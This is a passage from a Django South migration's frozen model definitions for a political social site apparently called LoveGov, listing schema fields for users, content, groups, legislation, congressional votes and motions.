"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'modernpolitics.action': { 'Meta': {'object_name': 'Action'}, 'action_type': ('django.db.models.fields.CharField', [], {'max_length': '2'}), 'creator': ('django.db.models.fields.related.ForeignKey', [], {'default': '1', 'to': "orm['modernpolitics.UserProfile']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'privacy': ('django.db.models.fields.CharField', [], {'default': "'PUB'", 'max_length': '3'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'actions'", 'to': "orm['modernpolitics.UserProfile']"}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.anonid': { 'Meta': {'object_name': 'AnonID'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'number': ('django.db.models.fields.IntegerField', [], {}), 'url': ('django.db.models.fields.URLField', [], {'max_length': '200'}) }, 'modernpolitics.answer': { 'Meta': {'object_name': 'Answer'}, 'answer_text': ('django.db.models.fields.CharField', [], {'max_length': '500'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'value': ('django.db.models.fields.IntegerField', [], {}) }, 'modernpolitics.answertally': { 'Meta': {'object_name': 'AnswerTally'}, 'answer': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Answer']", 'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'tally': ('django.db.models.fields.IntegerField', [], {}) }, 'modernpolitics.blogentry': { 'Meta': {'object_name': 'BlogEntry'}, 'category': ('lovegov.modernpolitics.custom_fields.ListField', [], {}), 'creator': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']"}), 'datetime': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'message': ('django.db.models.fields.TextField', [], {}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '5000'}) }, 'modernpolitics.bug': { 'Meta': {'object_name': 'Bug'}, 'error': ('django.db.models.fields.TextField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'page': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']"}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.comment': { 'Meta': {'object_name': 'Comment', '_ormbases': ['modernpolitics.Content']}, 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'creator_name': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'on_content': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'comments'", 'to': "orm['modernpolitics.Content']"}), 'root_content': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'root_content'", 'to': "orm['modernpolitics.Content']"}), 'text': ('django.db.models.fields.TextField', [], {'max_length': '10000'}) }, 'modernpolitics.committee': { 'Meta': {'object_name': 'Committee', '_ormbases': ['modernpolitics.Group']}, 'code': ('django.db.models.fields.CharField', [], {'max_length': '20'}), 'committee_type': ('django.db.models.fields.CharField', [], {'max_length': '2'}), 'group_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Group']", 'unique': 'True', 'primary_key': 'True'}), 'parent': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Committee']", 'null': 'True'}) }, 'modernpolitics.committeejoined': { 'Meta': {'object_name': 'CommitteeJoined', '_ormbases': ['modernpolitics.GroupJoined']}, 'congress_sessions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.CongressSession']", 'symmetrical': 'False'}), 'groupjoined_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.GroupJoined']", 'unique': 'True', 'primary_key': 'True'}), 'role': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True'}) }, 'modernpolitics.compatabilitylog': { 'Meta': {'object_name': 'CompatabilityLog'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'incompatible': ('lovegov.modernpolitics.custom_fields.ListField', [], {'default': '[]'}), 'ipaddress': ('django.db.models.fields.IPAddressField', [], {'default': "'255.255.255.255'", 'max_length': '15', 'null': 'True'}), 'page': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']", 'null': 'True'}), 'user_agent': ('django.db.models.fields.CharField', [], {'max_length': '250', 'blank': 'True'}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.congressroll': { 'Meta': {'object_name': 'CongressRoll'}, 'amendment': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'amendment_votes'", 'null': 'True', 'to': "orm['modernpolitics.LegislationAmendment']"}), 'aye': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'category': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True'}), 'datetime': ('django.db.models.fields.DateTimeField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'legislation': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'bill_votes'", 'null': 'True', 'to': "orm['modernpolitics.Legislation']"}), 'nay': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'nv': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'present': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'question': ('django.db.models.fields.CharField', [], {'max_length': '1000', 'null': 'True'}), 'required': ('django.db.models.fields.CharField', [], {'max_length': '10', 'null': 'True'}), 'result': ('django.db.models.fields.CharField', [], {'max_length': '80', 'null': 'True'}), 'roll_number': ('django.db.models.fields.IntegerField', [], {}), 'session': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.CongressSession']"}), 'source': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'type': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True'}), 'updated': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}), 'where': ('django.db.models.fields.CharField', [], {'max_length': '20'}) }, 'modernpolitics.congresssession': { 'Meta': {'object_name': 'CongressSession'}, 'session': ('django.db.models.fields.IntegerField', [], {'primary_key': 'True'}) }, 'modernpolitics.congressvote': { 'Meta': {'object_name': 'CongressVote'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'roll': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'votes'", 'to': "orm['modernpolitics.CongressRoll']"}), 'votekey': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'voter': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'congress_votes'", 'to': "orm['modernpolitics.UserProfile']"}), 'votevalue': ('django.db.models.fields.CharField', [], {'max_length': '15'}) }, 'modernpolitics.content': { 'Meta': {'object_name': 'Content'}, 'active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'alias': ('django.db.models.fields.CharField', [], {'default': "'default'", 'max_length': '1000'}), 'calculated_view': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.WorldView']", 'null': 'True', 'blank': 'True'}), 'content_privacy': ('django.db.models.fields.CharField', [], {'default': "'O'", 'max_length': '1'}), 'created_when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'creator': ('django.db.models.fields.related.ForeignKey', [], {'default': '1', 'to': "orm['modernpolitics.UserProfile']"}), 'downvotes': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'in_calc': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'in_feed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'in_search': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'location': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.PhysicalAddress']", 'null': 'True', 'blank': 'True'}), 'main_image': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserImage']", 'null': 'True', 'blank': 'True'}), 'main_topic': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'maintopic'", 'null': 'True', 'to': "orm['modernpolitics.Topic']"}), 'num_comments': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'posted_to': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'posted_content'", 'null': 'True', 'to': "orm['modernpolitics.Group']"}), 'privacy': ('django.db.models.fields.CharField', [], {'default': "'PUB'", 'max_length': '3'}), 'rank': ('django.db.models.fields.DecimalField', [], {'default': "'0.0'", 'max_digits': '4', 'decimal_places': '2'}), 'scale': ('django.db.models.fields.CharField', [], {'default': "'A'", 'max_length': '1'}), 'shared_to': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'shared_content'", 'symmetrical': 'False', 'to': "orm['modernpolitics.Group']"}), 'status': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'summary': ('django.db.models.fields.TextField', [], {'max_length': '500', 'null': 'True', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '500'}), 'topics': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.Topic']", 'symmetrical': 'False'}), 'type': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'unique_commenter_ids': ('lovegov.modernpolitics.custom_fields.ListField', [], {'default': '[]'}), 'upvotes': ('django.db.models.fields.IntegerField', [], {'default': '0'}) }, 'modernpolitics.controllinguser': { 'Meta': {'object_name': 'ControllingUser', '_ormbases': ['auth.User']}, 'permissions': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserPermission']", 'null': 'True'}), 'prohibited_actions': ('lovegov.modernpolitics.custom_fields.ListField', [], {'default': '[]'}), 'user_profile': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']", 'null': 'True'}), 'user_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True', 'primary_key': 'True'}) }, 'modernpolitics.createdaction': { 'Meta': {'object_name': 'CreatedAction', '_ormbases': ['modernpolitics.Action']}, 'action_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Action']", 'unique': 'True', 'primary_key': 'True'}), 'content': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Content']"}) }, 'modernpolitics.customnotificationsetting': { 'Meta': {'object_name': 'CustomNotificationSetting'}, 'alerts': ('lovegov.modernpolitics.custom_fields.ListField', [], {}), 'content': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Content']", 'null': 'True'}), 'email': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']", 'null': 'True'}) }, 'modernpolitics.deletedaction': { 'Meta': {'object_name': 'DeletedAction', '_ormbases': ['modernpolitics.Action']}, 'action_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Action']", 'unique': 'True', 'primary_key': 'True'}), 'content': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Content']"}) }, 'modernpolitics.discussion': { 'Meta': {'object_name': 'Discussion', '_ormbases': ['modernpolitics.Content']}, 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'user_post': ('django.db.models.fields.TextField', [], {'blank': 'True'}) }, 'modernpolitics.editedaction': { 'Meta': {'object_name': 'EditedAction', '_ormbases': ['modernpolitics.Action']}, 'action_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Action']", 'unique': 'True', 'primary_key': 'True'}), 'content': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Content']"}) }, 'modernpolitics.emaillist': { 'Meta': {'object_name': 'EmailList'}, 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.feed': { 'Meta': {'object_name': 'Feed'}, 'alias': ('django.db.models.fields.CharField', [], {'max_length': '30'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'items': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.FeedItem']", 'symmetrical': 'False'}) }, 'modernpolitics.feedback': { 'Meta': {'object_name': 'Feedback'}, 'feedback': ('django.db.models.fields.TextField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'page': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']"}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.feeditem': { 'Meta': {'object_name': 'FeedItem'}, 'content': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Content']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'rank': ('django.db.models.fields.IntegerField', [], {}) }, 'modernpolitics.filtersetting': { 'Meta': {'object_name': 'FilterSetting'}, 'algo': ('django.db.models.fields.CharField', [], {'default': "'D'", 'max_length': '1'}), 'alias': ('django.db.models.fields.CharField', [], {'default': "'default'", 'max_length': '30'}), 'by_topic': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'by_type': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'days': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'hot_window': ('django.db.models.fields.IntegerField', [], {'default': '3'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'similarity': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'topic_weights': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.TopicWeight']", 'symmetrical': 'False'}), 'type_weights': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.TypeWeight']", 'symmetrical': 'False'}) }, 'modernpolitics.group': { 'Meta': {'object_name': 'Group', '_ormbases': ['modernpolitics.Content']}, 'admins': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'admin_of'", 'symmetrical': 'False', 'to': "orm['modernpolitics.UserProfile']"}), 'agreement_threshold': ('django.db.models.fields.IntegerField', [], {'default': '50'}), 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'democratic': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'full_text': ('django.db.models.fields.TextField', [], {'max_length': '1000'}), 'ghost': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'government_type': ('django.db.models.fields.CharField', [], {'default': "'traditional'", 'max_length': '30'}), 'group_privacy': ('django.db.models.fields.CharField', [], {'default': "'O'", 'max_length': '1'}), 'group_type': ('django.db.models.fields.CharField', [], {'default': "'S'", 'max_length': '1'}), 'group_view': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.WorldView']"}), 'members': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'member_of'", 'symmetrical': 'False', 'to': "orm['modernpolitics.UserProfile']"}), 'motion_expiration': ('django.db.models.fields.IntegerField', [], {'default': '7'}), 'num_members': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'participation_threshold': ('django.db.models.fields.IntegerField', [], {'default': '30'}), 'pinned_content': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'pinned_to'", 'symmetrical': 'False', 'to': "orm['modernpolitics.Content']"}), 'system': ('django.db.models.fields.BooleanField', [], {'default': 'False'}) }, 'modernpolitics.groupjoined': { 'Meta': {'object_name': 'GroupJoined', '_ormbases': ['modernpolitics.UCRelationship']}, 'confirmed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'declined': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'group': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Group']"}), 'invited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'inviter': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'rejected': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'requested': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'ucrelationship_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.UCRelationship']", 'unique': 'True', 'primary_key': 'True'}) }, 'modernpolitics.groupjoinedaction': { 'Meta': {'object_name': 'GroupJoinedAction', '_ormbases': ['modernpolitics.Action']}, 'action_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Action']", 'unique': 'True', 'primary_key': 'True'}), 'group_joined': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'joined_actions'", 'to': "orm['modernpolitics.GroupJoined']"}), 'modifier': ('django.db.models.fields.CharField', [], {'max_length': '1'}) }, 'modernpolitics.involved': { 'Meta': {'object_name': 'Involved'}, 'content': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Content']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'involvement': ('django.db.models.fields.IntegerField', [], {}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.legislation': { 'Meta': {'object_name': 'Legislation', '_ormbases': ['modernpolitics.Content']}, 'bill_introduced': ('django.db.models.fields.DateField', [], {'null': 'True'}), 'bill_number': ('django.db.models.fields.IntegerField', [], {}), 'bill_relation': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.Legislation']", 'null': 'True', 'symmetrical': 'False'}), 'bill_subjects': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'subject_bills'", 'null': 'True', 'to': "orm['modernpolitics.LegislationSubject']"}), 'bill_summary': ('django.db.models.fields.TextField', [], {'max_length': '400000', 'null': 'True'}), 'bill_type': ('django.db.models.fields.CharField', [], {'max_length': '2'}), 'bill_updated': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}), 'committees': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'legislation_committees'", 'null': 'True', 'to': "orm['modernpolitics.Committee']"}), 'congress_session': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.CongressSession']"}), 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'full_title': ('django.db.models.fields.CharField', [], {'max_length': '5000', 'null': 'True'}), 'sponsor': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'sponsored_legislation'", 'null': 'True', 'to': "orm['modernpolitics.UserProfile']"}), 'state_date': ('django.db.models.fields.DateField', [], {'null': 'True'}), 'state_text': ('django.db.models.fields.CharField', [], {'max_length': '50', 'null': 'True'}) }, 'modernpolitics.legislationaction': { 'Meta': {'object_name': 'LegislationAction'}, 'action_type': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'amendment': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'amendment_actions'", 'null': 'True', 'to': "orm['modernpolitics.LegislationAmendment']"}), 'committee': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'legislation_activity'", 'null': 'True', 'to': "orm['modernpolitics.Committee']"}), 'datetime': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'legislation': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'legislation_actions'", 'null': 'True', 'to': "orm['modernpolitics.Legislation']"}), 'references': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.LegislationReference']", 'symmetrical': 'False'}), 'state': ('django.db.models.fields.TextField', [], {'max_length': '100', 'null': 'True'}), 'text': ('django.db.models.fields.TextField', [], {'max_length': '2000', 'null': 'True'}) }, 'modernpolitics.legislationamendment': { 'Meta': {'object_name': 'LegislationAmendment', '_ormbases': ['modernpolitics.Content']}, 'amendment_number': ('django.db.models.fields.IntegerField', [], {}), 'amendment_type': ('django.db.models.fields.CharField', [], {'max_length': '2'}), 'amends_sequence': ('django.db.models.fields.IntegerField', [], {'null': 'True'}), 'congress_session': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'session_amendments'", 'to': "orm['modernpolitics.CongressSession']"}), 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'max_length': '50000', 'null': 'True'}), 'legislation': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'legislation_amendments'", 'to': "orm['modernpolitics.Legislation']"}), 'offered_datetime': ('django.db.models.fields.DateField', [], {'null': 'True'}), 'purpose': ('django.db.models.fields.TextField', [], {'max_length': '5000', 'null': 'True'}), 'sponsor': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']", 'null': 'True'}), 'status_datetime': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}), 'status_text': ('django.db.models.fields.CharField', [], {'max_length': '20'}), 'updated': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}) }, 'modernpolitics.legislationcalendar': { 'Meta': {'object_name': 'LegislationCalendar', '_ormbases': ['modernpolitics.LegislationAction']}, 'calendar': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True'}), 'calendar_number': ('django.db.models.fields.IntegerField', [], {'null': 'True'}), 'legislationaction_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.LegislationAction']", 'unique': 'True', 'primary_key': 'True'}), 'under': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True'}) }, 'modernpolitics.legislationcosponsor': { 'Meta': {'object_name': 'LegislationCosponsor'}, 'cosponsor': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']"}), 'date': ('django.db.models.fields.DateField', [], {'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'legislation': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'legislation_cosponsors'", 'to': "orm['modernpolitics.Legislation']"}) }, 'modernpolitics.legislationenacted': { 'Meta': {'object_name': 'LegislationEnacted', '_ormbases': ['modernpolitics.LegislationAction']}, 'legislationaction_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.LegislationAction']", 'unique': 'True', 'primary_key': 'True'}), 'number': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'type': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True'}) }, 'modernpolitics.legislationreference': { 'Meta': {'object_name': 'LegislationReference'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'label': ('django.db.models.fields.CharField', [], {'max_length': '400'}), 'ref': ('django.db.models.fields.CharField', [], {'max_length': '400'}) }, 'modernpolitics.legislationsigned': { 'Meta': {'object_name': 'LegislationSigned', '_ormbases': ['modernpolitics.LegislationAction']}, 'legislationaction_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.LegislationAction']", 'unique': 'True', 'primary_key': 'True'}) }, 'modernpolitics.legislationsubject': { 'Meta': {'object_name': 'LegislationSubject'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '300'}) }, 'modernpolitics.legislationtopresident': { 'Meta': {'object_name': 'LegislationToPresident', '_ormbases': ['modernpolitics.LegislationAction']}, 'legislationaction_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.LegislationAction']", 'unique': 'True', 'primary_key': 'True'}) }, 'modernpolitics.legislationvote': { 'Meta': {'object_name': 'LegislationVote', '_ormbases': ['modernpolitics.LegislationAction']}, 'how': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True'}), 'legislationaction_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.LegislationAction']", 'unique': 'True', 'primary_key': 'True'}), 'result': ('django.db.models.fields.CharField', [], {'max_length': '50', 'null': 'True'}), 'roll': ('django.db.models.fields.IntegerField', [], {'null': 'True'}), 'suspension': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'vote_type': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True'}), 'where': ('django.db.models.fields.CharField', [], {'max_length': '4', 'null': 'True'}) }, 'modernpolitics.lgnumber': { 'Meta': {'object_name': 'LGNumber'}, 'alias': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'number': ('django.db.models.fields.IntegerField', [], {}) }, 'modernpolitics.lovegov': { 'Meta': {'object_name': 'LoveGov'}, 'anon_user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']", 'null': 'True'}), 'average_rating': ('django.db.models.fields.IntegerField', [], {'default': '50'}), 'average_votes': ('django.db.models.fields.IntegerField', [], {'default': '1'}), 'best_filter': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'bestfilter'", 'null': 'True', 'to': "orm['modernpolitics.FilterSetting']"}), 'default': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'default_filter': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'defaultfilter'", 'null': 'True', 'to': "orm['modernpolitics.FilterSetting']"}), 'default_image': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserImage']", 'null': 'True'}), 'hot_filter': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'hotfilter'", 'null': 'True', 'to': "orm['modernpolitics.FilterSetting']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'lovegov_group': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'anonuser'", 'null': 'True', 'to': "orm['modernpolitics.Group']"}), 'lovegov_user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'lovegovuser'", 'null': 'True', 'to': "orm['modernpolitics.UserProfile']"}), 'new_filter': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'newfilter'", 'null': 'True', 'to': "orm['modernpolitics.FilterSetting']"}), 'worldview': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.WorldView']", 'null': 'True'}) }, 'modernpolitics.lovegovsetting': { 'Meta': {'object_name': 'LoveGovSetting'}, 'default': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'setting': ('django.db.models.fields.CharField', [], {'max_length': '30'}), 'value': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'modernpolitics.motion': { 'Meta': {'object_name': 'Motion', '_ormbases': ['modernpolitics.Content']}, 'above_threshold': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'expiration_date': ('django.db.models.fields.DateTimeField', [], {}), 'expired': 